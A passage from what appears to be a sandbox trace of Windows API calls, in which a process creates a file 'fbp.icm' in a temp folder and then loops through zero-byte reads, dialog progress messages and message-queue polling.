cchDstLength=0x1 | out: lpszDst="f") returned 1 [0068.263] CharToOemBuffA (in: lpszSrc="F", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="F") returned 1 [0068.263] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="fbp.icm") returned 8 [0068.263] FindFirstFileW (in: lpFileName="fbp.icm", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.263] GetLastError () returned 0x2 [0068.263] GetFileAttributesA (lpFileName="fbp.icm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fbp.icm")) returned 0xffffffff [0068.263] CreateFileA (lpFileName="fbp.icm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fbp.icm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.268] GetFileType (hFile=0x138) returned 0x1 [0068.268] SetFilePointer (in: hFile=0x138, lDistanceToMove=544, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x220 [0068.268] SetEndOfFile (hFile=0x138) returned 1 [0068.268] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.268] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1ba, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1ba, lpOverlapped=0x0) returned 1 [0068.268] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.268] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 1 [0068.268] GetMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x17154c) returned 1 [0068.268] TranslateMessage (lpMsg=0x17154c) returned 0 [0068.268] DispatchMessageW (lpMsg=0x17154c) returned 0x0 [0068.268] GetTickCount () returned 0x1fb00 [0068.268] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.268] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.268] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.268] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.268] GetTickCount () returned 0x1fb00 [0068.268] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.268] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.268] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.268] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.268] GetTickCount () returned 0x1fb00 [0068.268] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.268] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.268] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.268] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.268] GetTickCount () returned 0x1fb00 [0068.268] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.268] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.268] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.268] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.268] GetTickCount () returned 0x1fb00 [0068.269] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.269] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.269] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.269] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.269] GetTickCount () returned 0x1fb00 [0068.269] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.269] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.269] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.269] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.269] GetTickCount () returned 0x1fb00 [0068.269] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.269] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.269] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.269] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.269] GetTickCount () returned 0x1fb00 [0068.269] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.269] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.269] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.269] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.269] GetTickCount () returned 0x1fb00 [0068.269] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.269] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.269] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.269] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.269] GetTickCount () returned 0x1fb00 [0068.269] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.269] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.269] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.269] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.269] GetTickCount () returned 0x1fb00 [0068.269] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.269] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.269] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.269] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.269] GetTickCount () returned 0x1fb00 [0068.269] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.269] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.269] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.269] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.269] GetTickCount () returned 0x1fb00 [0068.269] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.269] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.269] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.269] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.269] GetTickCount () returned 0x1fb00 [0068.269] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.269] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.270] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.270] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.270] GetTickCount () returned 0x1fb00 [0068.270] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.270] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.270] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.270] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.270] GetTickCount () returned 0x1fb00 [0068.270] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.270] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.270] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.270] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.270] GetTickCount () returned 0x1fb00 [0068.270] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.270] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.270] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.270] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.270] GetTickCount () returned 0x1fb00 [0068.270] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.270] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.270] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.270] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.270] GetTickCount () returned 0x1fb00 [0068.270] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.270] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.270] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.270] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.270] GetTickCount () returned 0x1fb00 [0068.270] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.270] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.270] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.270] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.270] GetTickCount () returned 0x1fb00 [0068.270] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.270] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.270] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.270] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.270] GetTickCount () returned 0x1fb00 [0068.270] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.270] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.270] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.270] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.271] GetTickCount () returned 0x1fb00 [0068.271] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.271] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.271] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.271] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.271] GetTickCount () returned 0x1fb00 [0068.271] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.271] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.271] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.271] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.271] GetTickCount () returned 0x1fb00 [0068.271] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.271] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.271] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.271] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.271] GetTickCount () returned 0x1fb00 [0068.271] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.271] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.271] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.271] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.271] GetTickCount () returned 0x1fb00 [0068.271] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.271] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.271] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.271] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.271] GetTickCount () returned 0x1fb00 [0068.271] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.271] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.271] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.271] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.271] GetTickCount () returned 0x1fb00 [0068.271] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.271] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.271] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.271] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.271] GetTickCount () returned 0x1fb00 [0068.271] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.271] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.272] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.272] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.272] GetTickCount () returned 0x1fb00 [0068.272] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.272] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.272] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.272] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.272] GetTickCount () returned 0x1fb00 [0068.272] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.272] ReadFile (in: hFile=0x1c, lpBuffer=0x270442, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270442*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.272] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.272] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.272] GetTickCount () returned 0x1fb00 [0068.272] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.272] ReadFile 